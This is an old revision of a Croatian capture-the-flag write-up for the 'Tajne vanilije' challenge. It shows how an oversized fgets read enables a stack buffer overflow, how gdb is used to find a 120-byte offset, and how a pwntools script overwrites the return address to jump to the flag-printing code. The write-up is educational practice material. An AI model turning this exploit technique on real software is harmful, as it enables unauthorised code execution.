This is an old revision of the document!
Tajne vanilije
Rješenje:
Cilj zadatka je ispisati flag. Analizom main.c datoteke vidljivo je da se u liniji:
fgets(buf, PASSWORD_SIZE, stdin);
upisuje u buf (veličine 100) 200 znakova. Time je omogućen stack based buffer overflow. Kako bi se unio ispravan payload, potrebno je analizirati binarnu datoteku main.
Najprije pokrenite gdb:
gdb main
Zatim disassemble main funkcije:
disas main
Unutar main.c datoteke, ispis flaga se događa na liniji:
puts(flag);
To je četvrti puts po redu i nalazi se na adresi 0x40134a. Iz tog razloga, potrebno je preplaviti povratnu adresu za vrijeme unosa lozinke kako bi se izvršio navedeni poziv puts na adresi 0x40134a. Kako bi se ispravno izvršio, potrebno ga je pozvati s ispravnim argumentima, što čini instrukcija na adresi 0x401345 (postavlja u edi registar adresu stringa za flag) Dakle, ispis flag biti će izvršen ukoliko procesor krene izvođenje instrukcija od adrese 0x401345, što je onda I cilj postaviti kao povratnu adresu na stogu.
Padding:
Kako bi se odredio padding za payload, potrebno izračunati razliku od adrese za početak unosa do povratne adrese. Prvo moramo postaviti breakpoint nakon unosa lozinke. Zato prvo:
disas provjeri_lozinku
Tražimo 2. fgets po redu I on se nalazi na adresi 0x401285, zbog čega unosimo breakpoint na prvu instrukciju nakon nje:
b *0x40128a
Pokrenemo program, unesemo username I zatim za password unos koji ćemo prepoznati, recimo “AAAA” (0x41414141).
Nakon breakpointa, pogledamo vrijednosti na stogu:
x/200xb $rsp
Vidimo da vrijednosti (0x41414141) kreću od vrha stoga na adresi 0x7fffffffdea0. Kako bi saznali gdje je pohranjena povratna adresa upišemo naredbu:
i f (tj. info frame)
U vraćenom odgovoru vidljivo je “Rip at 0x7fffffffdf18”
Razlika te dvije adrese jest 0x7fffffffdf18 – 0x7fffffffdea0 = 120(10). To znači da prije preplavljivanja povratne adrese s ciljnom moramo unijeti 120 bajtova (npr. char 'A').
Primjer rješenja uz pomoć PWN tools-a
PWN tools - python
from pwn import*
p = remote("chal.platforma.hacknite.hr",11002)
payload = b"\n" + b"A"*120 #padding
payload += p64(0x401345) #return address
payload += b"\n" # izlazak iz veze
p.writeline(payload)
answer = p.readall()
print(answer.decode())


